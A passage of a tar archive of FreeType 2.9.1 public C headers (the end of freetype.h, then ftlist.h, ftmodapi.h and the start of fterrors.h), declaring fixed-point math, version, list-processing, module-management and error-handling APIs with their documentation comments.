FT_Face_GetCharsOfVariant */ /* */ /* <Description> */ /* Return a zero-terminated list of Unicode character codes found for */ /* the specified variation selector. */ /* */ /* <Input> */ /* face :: */ /* A handle to the source face object. */ /* */ /* variantSelector :: */ /* The variation selector code point in Unicode. */ /* */ /* <Return> */ /* A list of all the code points that are specified by this selector */ /* (both default and non-default codes are returned) or NULL if there */ /* is no valid cmap or the variation selector is invalid. */ /* */ /* <Note> */ /* The last item in the array is~0; the array is owned by the */ /* @FT_Face object but can be overwritten or released on the next */ /* call to a FreeType function. */ /* */ /* <Since> */ /* 2.3.6 */ /* */ FT_EXPORT( FT_UInt32* ) FT_Face_GetCharsOfVariant( FT_Face face, FT_ULong variantSelector ); /*************************************************************************/ /* */ /* <Section> */ /* computations */ /* */ /* <Title> */ /* Computations */ /* */ /* <Abstract> */ /* Crunching fixed numbers and vectors. */ /* */ /* <Description> */ /* This section contains various functions used to perform */ /* computations on 16.16 fixed-float numbers or 2d vectors. */ /* */ /* <Order> */ /* FT_MulDiv */ /* FT_MulFix */ /* FT_DivFix */ /* FT_RoundFix */ /* FT_CeilFix */ /* FT_FloorFix */ /* FT_Vector_Transform */ /* FT_Matrix_Multiply */ /* FT_Matrix_Invert */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_MulDiv */ /* */ /* <Description> */ /* Compute `(a*b)/c' with maximum accuracy, using a 64-bit */ /* intermediate integer whenever necessary. */ /* */ /* This function isn't necessarily as fast as some processor specific */ /* operations, but is at least completely portable. */ /* */ /* <Input> */ /* a :: The first multiplier. */ /* */ /* b :: The second multiplier. */ /* */ /* c :: The divisor. */ /* */ /* <Return> */ /* The result of `(a*b)/c'. This function never traps when trying to */ /* divide by zero; it simply returns `MaxInt' or `MinInt' depending */ /* on the signs of `a' and `b'. */ /* */ FT_EXPORT( FT_Long ) FT_MulDiv( FT_Long a, FT_Long b, FT_Long c ); /*************************************************************************/ /* */ /* <Function> */ /* FT_MulFix */ /* */ /* <Description> */ /* Compute `(a*b)/0x10000' with maximum accuracy. Its main use is to */ /* multiply a given value by a 16.16 fixed-point factor. */ /* */ /* <Input> */ /* a :: The first multiplier. */ /* */ /* b :: The second multiplier. Use a 16.16 factor here whenever */ /* possible (see note below). */ /* */ /* <Return> */ /* The result of `(a*b)/0x10000'. */ /* */ /* <Note> */ /* This function has been optimized for the case where the absolute */ /* value of `a' is less than 2048, and `b' is a 16.16 scaling factor. */ /* As this happens mainly when scaling from notional units to */ /* fractional pixels in FreeType, it resulted in noticeable speed */ /* improvements between versions 2.x and 1.x. */ /* */ /* As a conclusion, always try to place a 16.16 factor as the */ /* _second_ argument of this function; this can make a great */ /* difference. */ /* */ FT_EXPORT( FT_Long ) FT_MulFix( FT_Long a, FT_Long b ); /*************************************************************************/ /* */ /* <Function> */ /* FT_DivFix */ /* */ /* <Description> */ /* Compute `(a*0x10000)/b' with maximum accuracy. Its main use is to */ /* divide a given value by a 16.16 fixed-point factor. */ /* */ /* <Input> */ /* a :: The numerator. */ /* */ /* b :: The denominator. Use a 16.16 factor here. */ /* */ /* <Return> */ /* The result of `(a*0x10000)/b'. */ /* */ FT_EXPORT( FT_Long ) FT_DivFix( FT_Long a, FT_Long b ); /*************************************************************************/ /* */ /* <Function> */ /* FT_RoundFix */ /* */ /* <Description> */ /* Round a 16.16 fixed number. */ /* */ /* <Input> */ /* a :: The number to be rounded. */ /* */ /* <Return> */ /* `a' rounded to the nearest 16.16 fixed integer, halfway cases away */ /* from zero. */ /* */ /* <Note> */ /* The function uses wrap-around arithmetic. */ /* */ FT_EXPORT( FT_Fixed ) FT_RoundFix( FT_Fixed a ); /*************************************************************************/ /* */ /* <Function> */ /* FT_CeilFix */ /* */ /* <Description> */ /* Compute the smallest following integer of a 16.16 fixed number. */ /* */ /* <Input> */ /* a :: The number for which the ceiling function is to be computed. */ /* */ /* <Return> */ /* `a' rounded towards plus infinity. */ /* */ /* <Note> */ /* The function uses wrap-around arithmetic. */ /* */ FT_EXPORT( FT_Fixed ) FT_CeilFix( FT_Fixed a ); /*************************************************************************/ /* */ /* <Function> */ /* FT_FloorFix */ /* */ /* <Description> */ /* Compute the largest previous integer of a 16.16 fixed number. */ /* */ /* <Input> */ /* a :: The number for which the floor function is to be computed. */ /* */ /* <Return> */ /* `a' rounded towards minus infinity. */ /* */ FT_EXPORT( FT_Fixed ) FT_FloorFix( FT_Fixed a ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Vector_Transform */ /* */ /* <Description> */ /* Transform a single vector through a 2x2 matrix. */ /* */ /* <InOut> */ /* vector :: The target vector to transform. */ /* */ /* <Input> */ /* matrix :: A pointer to the source 2x2 matrix. */ /* */ /* <Note> */ /* The result is undefined if either `vector' or `matrix' is invalid. */ /* */ FT_EXPORT( void ) FT_Vector_Transform( FT_Vector* vec, const FT_Matrix* matrix ); /*************************************************************************/ /* */ /* <Section> */ /* version */ /* */ /* <Title> */ /* FreeType Version */ /* */ /* <Abstract> */ /* Functions and macros related to FreeType versions. */ /* */ /* <Description> */ /* Note that those functions and macros are of limited use because */ /* even a new release of FreeType with only documentation changes */ /* increases the version number. */ /* */ /* <Order> */ /* FT_Library_Version */ /* */ /* FREETYPE_MAJOR */ /* FREETYPE_MINOR */ /* FREETYPE_PATCH */ /* */ /* FT_Face_CheckTrueTypePatents */ /* FT_Face_SetUnpatentedHinting */ /* */ /* FREETYPE_XXX */ /* */ /*************************************************************************/ /************************************************************************* * * @enum: * FREETYPE_XXX * * @description: * These three macros identify the FreeType source code version. * Use @FT_Library_Version to access them at runtime. * * @values: * FREETYPE_MAJOR :: The major version number. * FREETYPE_MINOR :: The minor version number. * FREETYPE_PATCH :: The patch level. * * @note: * The version number of FreeType if built as a dynamic link library * with the `libtool' package is _not_ controlled by these three * macros. * */ #define FREETYPE_MAJOR 2 #define FREETYPE_MINOR 9 #define FREETYPE_PATCH 1 /*************************************************************************/ /* */ /* <Function> */ /* FT_Library_Version */ /* */ /* <Description> */ /* Return the version of the FreeType library being used. This is */ /* useful when dynamically linking to the library, since one cannot */ /* use the macros @FREETYPE_MAJOR, @FREETYPE_MINOR, and */ /* @FREETYPE_PATCH. */ /* */ /* <Input> */ /* library :: A source library handle. */ /* */ /* <Output> */ /* amajor :: The major version number. */ /* */ /* aminor :: The minor version number. */ /* */ /* apatch :: The patch version number. */ /* */ /* <Note> */ /* The reason why this function takes a `library' argument is because */ /* certain programs implement library initialization in a custom way */ /* that doesn't use @FT_Init_FreeType. */ /* */ /* In such cases, the library version might not be available before */ /* the library object has been created. */ /* */ FT_EXPORT( void ) FT_Library_Version( FT_Library library, FT_Int *amajor, FT_Int *aminor, FT_Int *apatch ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Face_CheckTrueTypePatents */ /* */ /* <Description> */ /* Deprecated, does nothing. */ /* */ /* <Input> */ /* face :: A face handle. */ /* */ /* <Return> */ /* Always returns false. */ /* */ /* <Note> */ /* Since May 2010, TrueType hinting is no longer patented. */ /* */ /* <Since> */ /* 2.3.5 */ /* */ FT_EXPORT( FT_Bool ) FT_Face_CheckTrueTypePatents( FT_Face face ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Face_SetUnpatentedHinting */ /* */ /* <Description> */ /* Deprecated, does nothing. */ /* */ /* <Input> */ /* face :: A face handle. */ /* */ /* value :: New boolean setting. */ /* */ /* <Return> */ /* Always returns false. */ /* */ /* <Note> */ /* Since May 2010, TrueType hinting is no longer patented. */ /* */ /* <Since> */ /* 2.3.5 */ /* */ FT_EXPORT( FT_Bool ) FT_Face_SetUnpatentedHinting( FT_Face face, FT_Bool value ); /* */ FT_END_HEADER #endif /* FREETYPE_H_ */ /* END */ freetype2/freetype/ftlist.h 0000644 00000040562 15246445047 0011774 0 ustar 00 /***************************************************************************/ /* */ /* ftlist.h */ /* */ /* Generic list support for FreeType (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* This file implements functions relative to list processing. Its */ /* data structures are defined in `freetype.h'. */ /* */ /*************************************************************************/ #ifndef FTLIST_H_ #define FTLIST_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* list_processing */ /* */ /* <Title> */ /* List Processing */ /* */ /* <Abstract> */ /* Simple management of lists. */ /* */ /* <Description> */ /* This section contains various definitions related to list */ /* processing using doubly-linked nodes. */ /* */ /* <Order> */ /* FT_List */ /* FT_ListNode */ /* FT_ListRec */ /* FT_ListNodeRec */ /* */ /* FT_List_Add */ /* FT_List_Insert */ /* FT_List_Find */ /* FT_List_Remove */ /* FT_List_Up */ /* FT_List_Iterate */ /* FT_List_Iterator */ /* FT_List_Finalize */ /* FT_List_Destructor */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_List_Find */ /* */ /* <Description> */ /* Find the list node for a given listed object. */ /* */ /* <Input> */ /* list :: A pointer to the parent list. */ /* data :: The address of the listed object. */ /* */ /* <Return> */ /* List node. NULL if it wasn't found. */ /* */ FT_EXPORT( FT_ListNode ) FT_List_Find( FT_List list, void* data ); /*************************************************************************/ /* */ /* <Function> */ /* FT_List_Add */ /* */ /* <Description> */ /* Append an element to the end of a list. */ /* */ /* <InOut> */ /* list :: A pointer to the parent list. */ /* node :: The node to append. */ /* */ FT_EXPORT( void ) FT_List_Add( FT_List list, FT_ListNode node ); /*************************************************************************/ /* */ /* <Function> */ /* FT_List_Insert */ /* */ /* <Description> */ /* Insert an element at the head of a list. */ /* */ /* <InOut> */ /* list :: A pointer to parent list. */ /* node :: The node to insert. */ /* */ FT_EXPORT( void ) FT_List_Insert( FT_List list, FT_ListNode node ); /*************************************************************************/ /* */ /* <Function> */ /* FT_List_Remove */ /* */ /* <Description> */ /* Remove a node from a list. This function doesn't check whether */ /* the node is in the list! */ /* */ /* <Input> */ /* node :: The node to remove. */ /* */ /* <InOut> */ /* list :: A pointer to the parent list. */ /* */ FT_EXPORT( void ) FT_List_Remove( FT_List list, FT_ListNode node ); /*************************************************************************/ /* */ /* <Function> */ /* FT_List_Up */ /* */ /* <Description> */ /* Move a node to the head/top of a list. Used to maintain LRU */ /* lists. */ /* */ /* <InOut> */ /* list :: A pointer to the parent list. */ /* node :: The node to move. */ /* */ FT_EXPORT( void ) FT_List_Up( FT_List list, FT_ListNode node ); /*************************************************************************/ /* */ /* <FuncType> */ /* FT_List_Iterator */ /* */ /* <Description> */ /* An FT_List iterator function that is called during a list parse */ /* by @FT_List_Iterate. */ /* */ /* <Input> */ /* node :: The current iteration list node. */ /* */ /* user :: A typeless pointer passed to @FT_List_Iterate. */ /* Can be used to point to the iteration's state. */ /* */ typedef FT_Error (*FT_List_Iterator)( FT_ListNode node, void* user ); /*************************************************************************/ /* */ /* <Function> */ /* FT_List_Iterate */ /* */ /* <Description> */ /* Parse a list and calls a given iterator function on each element. */ /* Note that parsing is stopped as soon as one of the iterator calls */ /* returns a non-zero value. */ /* */ /* <Input> */ /* list :: A handle to the list. */ /* iterator :: An iterator function, called on each node of the list. */ /* user :: A user-supplied field that is passed as the second */ /* argument to the iterator. */ /* */ /* <Return> */ /* The result (a FreeType error code) of the last iterator call. */ /* */ FT_EXPORT( FT_Error ) FT_List_Iterate( FT_List list, FT_List_Iterator iterator, void* user ); /*************************************************************************/ /* */ /* <FuncType> */ /* FT_List_Destructor */ /* */ /* <Description> */ /* An @FT_List iterator function that is called during a list */ /* finalization by @FT_List_Finalize to destroy all elements in a */ /* given list. */ /* */ /* <Input> */ /* system :: The current system object. */ /* */ /* data :: The current object to destroy. */ /* */ /* user :: A typeless pointer passed to @FT_List_Iterate. It can */ /* be used to point to the iteration's state. */ /* */ typedef void (*FT_List_Destructor)( FT_Memory memory, void* data, void* user ); /*************************************************************************/ /* */ /* <Function> */ /* FT_List_Finalize */ /* */ /* <Description> */ /* Destroy all elements in the list as well as the list itself. */ /* */ /* <Input> */ /* list :: A handle to the list. */ /* */ /* destroy :: A list destructor that will be applied to each element */ /* of the list. Set this to NULL if not needed. */ /* */ /* memory :: The current memory object that handles deallocation. */ /* */ /* user :: A user-supplied field that is passed as the last */ /* argument to the destructor. */ /* */ /* <Note> */ /* This function expects that all nodes added by @FT_List_Add or */ /* @FT_List_Insert have been dynamically allocated. */ /* */ FT_EXPORT( void ) FT_List_Finalize( FT_List list, FT_List_Destructor destroy, FT_Memory memory, void* user ); /* */ FT_END_HEADER #endif /* FTLIST_H_ */ /* END */ freetype2/freetype/ftmodapi.h 0000644 00000112171 15246445047 0012266 0 ustar 00 /***************************************************************************/ /* */ /* ftmodapi.h */ /* */ /* FreeType modules public interface (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTMODAPI_H_ #define FTMODAPI_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* module_management */ /* */ /* <Title> */ /* Module Management */ /* */ /* <Abstract> */ /* How to add, upgrade, remove, and control modules from FreeType. */ /* */ /* <Description> */ /* The definitions below are used to manage modules within FreeType. */ /* Modules can be added, upgraded, and removed at runtime. */ /* Additionally, some module properties can be controlled also. */ /* */ /* Here is a list of possible values of the `module_name' field in */ /* the @FT_Module_Class structure. */ /* */ /* { */ /* autofitter */ /* bdf */ /* cff */ /* gxvalid */ /* otvalid */ /* pcf */ /* pfr */ /* psaux */ /* pshinter */ /* psnames */ /* raster1 */ /* sfnt */ /* smooth, smooth-lcd, smooth-lcdv */ /* truetype */ /* type1 */ /* type42 */ /* t1cid */ /* winfonts */ /* } */ /* */ /* Note that the FreeType Cache sub-system is not a FreeType module. */ /* */ /* <Order> */ /* FT_Module */ /* FT_Module_Constructor */ /* FT_Module_Destructor */ /* FT_Module_Requester */ /* FT_Module_Class */ /* */ /* FT_Add_Module */ /* FT_Get_Module */ /* FT_Remove_Module */ /* FT_Add_Default_Modules */ /* */ /* FT_Property_Set */ /* FT_Property_Get */ /* FT_Set_Default_Properties */ /* */ /* FT_New_Library */ /* FT_Done_Library */ /* FT_Reference_Library */ /* */ /* FT_Renderer */ /* FT_Renderer_Class */ /* */ /* FT_Get_Renderer */ /* FT_Set_Renderer */ /* */ /* FT_Set_Debug_Hook */ /* */ /*************************************************************************/ /* module bit flags */ #define FT_MODULE_FONT_DRIVER 1 /* this module is a font driver */ #define FT_MODULE_RENDERER 2 /* this module is a renderer */ #define FT_MODULE_HINTER 4 /* this module is a glyph hinter */ #define FT_MODULE_STYLER 8 /* this module is a styler */ #define FT_MODULE_DRIVER_SCALABLE 0x100 /* the driver supports */ /* scalable fonts */ #define FT_MODULE_DRIVER_NO_OUTLINES 0x200 /* the driver does not */ /* support vector outlines */ #define FT_MODULE_DRIVER_HAS_HINTER 0x400 /* the driver provides its */ /* own hinter */ #define FT_MODULE_DRIVER_HINTS_LIGHTLY 0x800 /* the driver's hinter */ /* produces LIGHT hints */ /* deprecated values */ #define ft_module_font_driver FT_MODULE_FONT_DRIVER #define ft_module_renderer FT_MODULE_RENDERER #define ft_module_hinter FT_MODULE_HINTER #define ft_module_styler FT_MODULE_STYLER #define ft_module_driver_scalable FT_MODULE_DRIVER_SCALABLE #define ft_module_driver_no_outlines FT_MODULE_DRIVER_NO_OUTLINES #define ft_module_driver_has_hinter FT_MODULE_DRIVER_HAS_HINTER #define ft_module_driver_hints_lightly FT_MODULE_DRIVER_HINTS_LIGHTLY typedef FT_Pointer FT_Module_Interface; /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Module_Constructor */ /* */ /* <Description> */ /* A function used to initialize (not create) a new module object. */ /* */ /* <Input> */ /* module :: The module to initialize. */ /* */ typedef FT_Error (*FT_Module_Constructor)( FT_Module module ); /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Module_Destructor */ /* */ /* <Description> */ /* A function used to finalize (not destroy) a given module object. */ /* */ /* <Input> */ /* module :: The module to finalize. */ /* */ typedef void (*FT_Module_Destructor)( FT_Module module ); /*************************************************************************/ /* */ /* <FuncType> */ /* FT_Module_Requester */ /* */ /* <Description> */ /* A function used to query a given module for a specific interface. */ /* */ /* <Input> */ /* module :: The module to be searched. */ /* */ /* name :: The name of the interface in the module. */ /* */ typedef FT_Module_Interface (*FT_Module_Requester)( FT_Module module, const char* name ); /*************************************************************************/ /* */ /* <Struct> */ /* FT_Module_Class */ /* */ /* <Description> */ /* The module class descriptor. */ /* */ /* <Fields> */ /* module_flags :: Bit flags describing the module. */ /* */ /* module_size :: The size of one module object/instance in */ /* bytes. */ /* */ /* module_name :: The name of the module. */ /* */ /* module_version :: The version, as a 16.16 fixed number */ /* (major.minor). */ /* */ /* module_requires :: The version of FreeType this module requires, */ /* as a 16.16 fixed number (major.minor). Starts */ /* at version 2.0, i.e., 0x20000. */ /* */ /* module_init :: The initializing function. */ /* */ /* module_done :: The finalizing function. */ /* */ /* get_interface :: The interface requesting function. */ /* */ typedef struct FT_Module_Class_ { FT_ULong module_flags; FT_Long module_size; const FT_String* module_name; FT_Fixed module_version; FT_Fixed module_requires; const void* module_interface; FT_Module_Constructor module_init; FT_Module_Destructor module_done; FT_Module_Requester get_interface; } FT_Module_Class; /*************************************************************************/ /* */ /* <Function> */ /* FT_Add_Module */ /* */ /* <Description> */ /* Add a new module to a given library instance. */ /* */ /* <InOut> */ /* library :: A handle to the library object. */ /* */ /* <Input> */ /* clazz :: A pointer to class descriptor for the module. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* An error will be returned if a module already exists by that name, */ /* or if the module requires a version of FreeType that is too great. */ /* */ FT_EXPORT( FT_Error ) FT_Add_Module( FT_Library library, const FT_Module_Class* clazz ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Module */ /* */ /* <Description> */ /* Find a module by its name. */ /* */ /* <Input> */ /* library :: A handle to the library object. */ /* */ /* module_name :: The module's name (as an ASCII string). */ /* */ /* <Return> */ /* A module handle. 0~if none was found. */ /* */ /* <Note> */ /* FreeType's internal modules aren't documented very well, and you */ /* should look up the source code for details. */ /* */ FT_EXPORT( FT_Module ) FT_Get_Module( FT_Library library, const char* module_name ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Remove_Module */ /* */ /* <Description> */ /* Remove a given module from a library instance. */ /* */ /* <InOut> */ /* library :: A handle to a library object. */ /* */ /* <Input> */ /* module :: A handle to a module object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The module object is destroyed by the function in case of success. */ /* */ FT_EXPORT( FT_Error ) FT_Remove_Module( FT_Library library, FT_Module module ); /********************************************************************** * * @function: * FT_Property_Set * * @description: * Set a property for a given module. * * @input: * library :: * A handle to the library the module is part of. * * module_name :: * The module name. * * property_name :: * The property name. Properties are described in section * @properties. * * Note that only a few modules have properties. * * value :: * A generic pointer to a variable or structure that gives the new * value of the property. The exact definition of `value' is * dependent on the property; see section @properties. * * @return: * FreeType error code. 0~means success. * * @note: * If `module_name' isn't a valid module name, or `property_name' * doesn't specify a valid property, or if `value' doesn't represent a * valid value for the given property, an error is returned. * * The following example sets property `bar' (a simple integer) in * module `foo' to value~1. * * { * FT_UInt bar; * * * bar = 1; * FT_Property_Set( library, "foo", "bar", &bar ); * } * * Note that the FreeType Cache sub-system doesn't recognize module * property changes. To avoid glyph lookup confusion within the cache * you should call @FTC_Manager_Reset to completely flush the cache if * a module property gets changed after @FTC_Manager_New has been * called. * * It is not possible to set properties of the FreeType Cache * sub-system itself with FT_Property_Set; use @FTC_Property_Set * instead. * * @since: * 2.4.11 * */ FT_EXPORT( FT_Error ) FT_Property_Set( FT_Library library, const FT_String* module_name, const FT_String* property_name, const void* value ); /********************************************************************** * * @function: * FT_Property_Get * * @description: * Get a module's property value. * * @input: * library :: * A handle to the library the module is part of. * * module_name :: * The module name. * * property_name :: * The property name. Properties are described in section * @properties. * * @inout: * value :: * A generic pointer to a variable or structure that gives the * value of the property. The exact definition of `value' is * dependent on the property; see section @properties. * * @return: * FreeType error code. 0~means success. * * @note: * If `module_name' isn't a valid module name, or `property_name' * doesn't specify a valid property, or if `value' doesn't represent a * valid value for the given property, an error is returned. * * The following example gets property `baz' (a range) in module `foo'. * * { * typedef range_ * { * FT_Int32 min; * FT_Int32 max; * * } range; * * range baz; * * * FT_Property_Get( library, "foo", "baz", &baz ); * } * * It is not possible to retrieve properties of the FreeType Cache * sub-system with FT_Property_Get; use @FTC_Property_Get instead. * * @since: * 2.4.11 * */ FT_EXPORT( FT_Error ) FT_Property_Get( FT_Library library, const FT_String* module_name, const FT_String* property_name, void* value ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Default_Properties */ /* */ /* <Description> */ /* If compilation option FT_CONFIG_OPTION_ENVIRONMENT_PROPERTIES is */ /* set, this function reads the `FREETYPE_PROPERTIES' environment */ /* variable to control driver properties. See section @properties */ /* for more. */ /* */ /* If the compilation option is not set, this function does nothing. */ /* */ /* `FREETYPE_PROPERTIES' has the following syntax form (broken here */ /* into multiple lines for better readability). */ /* */ /* { */ /* <optional whitespace> */ /* <module-name1> ':' */ /* <property-name1> '=' <property-value1> */ /* <whitespace> */ /* <module-name2> ':' */ /* <property-name2> '=' <property-value2> */ /* ... */ /* } */ /* */ /* Example: */ /* */ /* { */ /* FREETYPE_PROPERTIES=truetype:interpreter-version=35 \ */ /* cff:no-stem-darkening=1 \ */ /* autofitter:warping=1 */ /* } */ /* */ /* <InOut> */ /* library :: A handle to a new library object. */ /* */ /* <Since> */ /* 2.8 */ /* */ FT_EXPORT( void ) FT_Set_Default_Properties( FT_Library library ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Reference_Library */ /* */ /* <Description> */ /* A counter gets initialized to~1 at the time an @FT_Library */ /* structure is created. This function increments the counter. */ /* @FT_Done_Library then only destroys a library if the counter is~1, */ /* otherwise it simply decrements the counter. */ /* */ /* This function helps in managing life-cycles of structures that */ /* reference @FT_Library objects. */ /* */ /* <Input> */ /* library :: A handle to a target library object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Since> */ /* 2.4.2 */ /* */ FT_EXPORT( FT_Error ) FT_Reference_Library( FT_Library library ); /*************************************************************************/ /* */ /* <Function> */ /* FT_New_Library */ /* */ /* <Description> */ /* This function is used to create a new FreeType library instance */ /* from a given memory object. It is thus possible to use libraries */ /* with distinct memory allocators within the same program. Note, */ /* however, that the used @FT_Memory structure is expected to remain */ /* valid for the life of the @FT_Library object. */ /* */ /* Normally, you would call this function (followed by a call to */ /* @FT_Add_Default_Modules or a series of calls to @FT_Add_Module, */ /* and a call to @FT_Set_Default_Properties) instead of */ /* @FT_Init_FreeType to initialize the FreeType library. */ /* */ /* Don't use @FT_Done_FreeType but @FT_Done_Library to destroy a */ /* library instance. */ /* */ /* <Input> */ /* memory :: A handle to the original memory object. */ /* */ /* <Output> */ /* alibrary :: A pointer to handle of a new library object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* See the discussion of reference counters in the description of */ /* @FT_Reference_Library. */ /* */ FT_EXPORT( FT_Error ) FT_New_Library( FT_Memory memory, FT_Library *alibrary ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Done_Library */ /* */ /* <Description> */ /* Discard a given library object. This closes all drivers and */ /* discards all resource objects. */ /* */ /* <Input> */ /* library :: A handle to the target library. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* See the discussion of reference counters in the description of */ /* @FT_Reference_Library. */ /* */ FT_EXPORT( FT_Error ) FT_Done_Library( FT_Library library ); /* */ typedef void (*FT_DebugHook_Func)( void* arg ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Debug_Hook */ /* */ /* <Description> */ /* Set a debug hook function for debugging the interpreter of a font */ /* format. */ /* */ /* <InOut> */ /* library :: A handle to the library object. */ /* */ /* <Input> */ /* hook_index :: The index of the debug hook. You should use the */ /* values defined in `ftobjs.h', e.g., */ /* `FT_DEBUG_HOOK_TRUETYPE'. */ /* */ /* debug_hook :: The function used to debug the interpreter. */ /* */ /* <Note> */ /* Currently, four debug hook slots are available, but only two (for */ /* the TrueType and the Type~1 interpreter) are defined. */ /* */ /* Since the internal headers of FreeType are no longer installed, */ /* the symbol `FT_DEBUG_HOOK_TRUETYPE' isn't available publicly. */ /* This is a bug and will be fixed in a forthcoming release. */ /* */ FT_EXPORT( void ) FT_Set_Debug_Hook( FT_Library library, FT_UInt hook_index, FT_DebugHook_Func debug_hook ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Add_Default_Modules */ /* */ /* <Description> */ /* Add the set of default drivers to a given library object. */ /* This is only useful when you create a library object with */ /* @FT_New_Library (usually to plug a custom memory manager). */ /* */ /* <InOut> */ /* library :: A handle to a new library object. */ /* */ FT_EXPORT( void ) FT_Add_Default_Modules( FT_Library library ); /************************************************************************** * * @section: * truetype_engine * * @title: * The TrueType Engine * * @abstract: * TrueType bytecode support. * * @description: * This section contains a function used to query the level of TrueType * bytecode support compiled in this version of the library. * */ /************************************************************************** * * @enum: * FT_TrueTypeEngineType * * @description: * A list of values describing which kind of TrueType bytecode * engine is implemented in a given FT_Library instance. It is used * by the @FT_Get_TrueType_Engine_Type function. * * @values: * FT_TRUETYPE_ENGINE_TYPE_NONE :: * The library doesn't implement any kind of bytecode interpreter. * * FT_TRUETYPE_ENGINE_TYPE_UNPATENTED :: * Deprecated and removed. * * FT_TRUETYPE_ENGINE_TYPE_PATENTED :: * The library implements a bytecode interpreter that covers * the full instruction set of the TrueType virtual machine (this * was governed by patents until May 2010, hence the name). * * @since: * 2.2 * */ typedef enum FT_TrueTypeEngineType_ { FT_TRUETYPE_ENGINE_TYPE_NONE = 0, FT_TRUETYPE_ENGINE_TYPE_UNPATENTED, FT_TRUETYPE_ENGINE_TYPE_PATENTED } FT_TrueTypeEngineType; /************************************************************************** * * @func: * FT_Get_TrueType_Engine_Type * * @description: * Return an @FT_TrueTypeEngineType value to indicate which level of * the TrueType virtual machine a given library instance supports. * * @input: * library :: * A library instance. * * @return: * A value indicating which level is supported. * * @since: * 2.2 * */ FT_EXPORT( FT_TrueTypeEngineType ) FT_Get_TrueType_Engine_Type( FT_Library library ); /* */ FT_END_HEADER #endif /* FTMODAPI_H_ */ /* END */ freetype2/freetype/fterrors.h 0000644 00000026151 15246445047 0012333 0 ustar 00 /***************************************************************************/ /* */ /* fterrors.h */ /* */ /* FreeType error code handling (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* <Section> */ /* error_enumerations */ /* */ /* <Title> */ /* Error Enumerations */ /* */ /* <Abstract> */ /* How to handle errors and error strings. */ /* */ /* <Description> */ /* The header file `fterrors.h' (which is automatically included by */ /* `freetype.h' defines the handling of FreeType's enumeration */ /* constants. It can also be used to generate error message strings */ /* with a small macro trick explained below. */ /* */ /* *Error* *Formats* */ /* */ /* The configuration macro FT_CONFIG_OPTION_USE_MODULE_ERRORS can be */ /* defined in `ftoption.h' in order to make the higher byte indicate */ /* the module where the error has happened (this is not compatible */ /* with standard builds of FreeType~2, however). See the file */ /* `ftmoderr.h' for more details. */ /* */ /* *Error* *Message* *Strings* */ /* */ /* Error definitions are set up with special macros that allow client */ /* applications to build a table of error message strings. The */ /* strings are not included in a normal build of FreeType~2 to save */ /* space (most client applications do not use them). */ /* */ /* To do so, you have to define the following macros before including */ /* this file. */ /* */ /* { */ /* FT_ERROR_START_LIST */ /* } */ /* */ /* This macro is called before anything else to define the start of */ /* the error list. It is followed by several FT_ERROR_DEF calls. */ /* */ /* { */ /* FT_ERROR_DEF( e, v, s ) */ /* } */ /* */ /* This macro is called to define one single error. `e' is the error */ /* code identifier (e.g., `Invalid_Argument'), `v' is the error's */ /* numerical value, and `s' is the corresponding error string. */ /* */ /* { */ /* FT_ERROR_END_LIST */ /* } */ /* */ /* This macro ends the list. */ /* */ /* Additionally, you have to undefine `FTERRORS_H_' before #including */ /* this file. */ /* */ /* Here is a simple example. */ /* */ /* { */ /* #undef FTERRORS_H_ */ /* #define FT_ERRORDEF( e, v, s ) { e, s }, */ /* #define FT_ERROR_START_LIST { */ /* #define FT_ERROR_END_LIST { 0, NULL } }; */ /* */ /* const struct */ /* { */ /* int err_code; */ /* const char* err_msg; */ /* } ft_errors[] = */ /* */ /* #include FT_ERRORS_H */ /* } */ /* */ /* Note that `FT_Err_Ok' is _not_ defined with `FT_ERRORDEF' but with */ /* `FT_NOERRORDEF'; it is always zero. */ /* */ /*************************************************************************/ /* */ /* In previous FreeType versions we used 